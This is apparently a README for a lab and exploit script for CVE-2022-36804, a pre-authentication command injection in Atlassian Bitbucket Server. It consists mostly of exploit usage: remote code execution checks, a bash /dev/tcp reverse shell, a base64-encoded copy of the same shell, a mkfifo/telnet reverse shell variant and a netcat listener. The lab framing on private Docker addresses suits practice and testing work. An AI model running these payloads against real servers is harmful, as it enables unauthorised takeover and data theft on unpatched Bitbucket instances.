CVE-2022-36804: Pre-Auth RCE in Atlassian Bitbucket Server

A critical command injection vulnerability was found in multiple API endpoints of the Atlassian Bit bucket Server and Data center. This vulnerability affects all versions of Bitbucket Server and Data Center released before versions <7.6.17, <7.17.10, <7.21.4, <8.0.3, <8.1.2, <8.2.2, and <8.3.1

Lab for CVE-2022-36804

Build Docker

docker build -t bitbucket .

Run Docker

docker run -it bitbucket

Usage cve-2022-36804.py

Check for Remote Code Execution (RCE)

python3 cve-2022-36804.py -u http://172.17.0.2:7990

Check for RCE with customized command (cmd)

python3 cve-2022-36804.py -u http://172.17.0.2:7990 -c id

Check for RCE with customized command, project key, and repository name

python3 cve-2022-36804.py -u http://172.17.0.2:7990 -c whoami -p NEW -r newrepo

Check for private repository

python3 cve-2022-36804.py -u http://172.17.0.2:7990 -p NEW -r newrepo --session 2074C8FFA5D13088332C8DF0CD8A7CE7

Get shell with netcat

Replace 172.17.0.3 with your local ip address

python3 cve-2022-36804.py -u http://172.17.0.2:7990 -c "/bin/bash -i >& /dev/tcp/172.17.0.3/4444 0>&1"

Start netcat listner with:

nc -lvp 4444

Convert /bin/bash -i >& /dev/tcp/172.17.0.3/4444 0>&1 to base64 in case of payload execution error.

python3 cve-2022-36804.py -u http://172.17.0.2:7990 -c "echo 'L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE3Mi4xNy4wLjMvNDQ0NCAwPiYx' | base64 -d | bash |"

If you are still facing any error, execute below command:

TF=$(mktemp -u);mkfifo $TF && telnet 172.17.0.3 4444 0<$TF | /bin/bash 1>$TF

python3 cve-2022-36804.py -u http://172.17.0.2:7990 -c "TF=$(mktemp -u);mkfifo $TF && telnet 172.17.0.3 4444 0<$TF | /bin/bash 1>$TF"

It is recommended to install vulnerable version of Bitbucket server in Windows/Linux machine for practice. It will be easy to achieve reverse shell compared to docker images.

More information can be found here

cve-2022-36804

Most Popular

About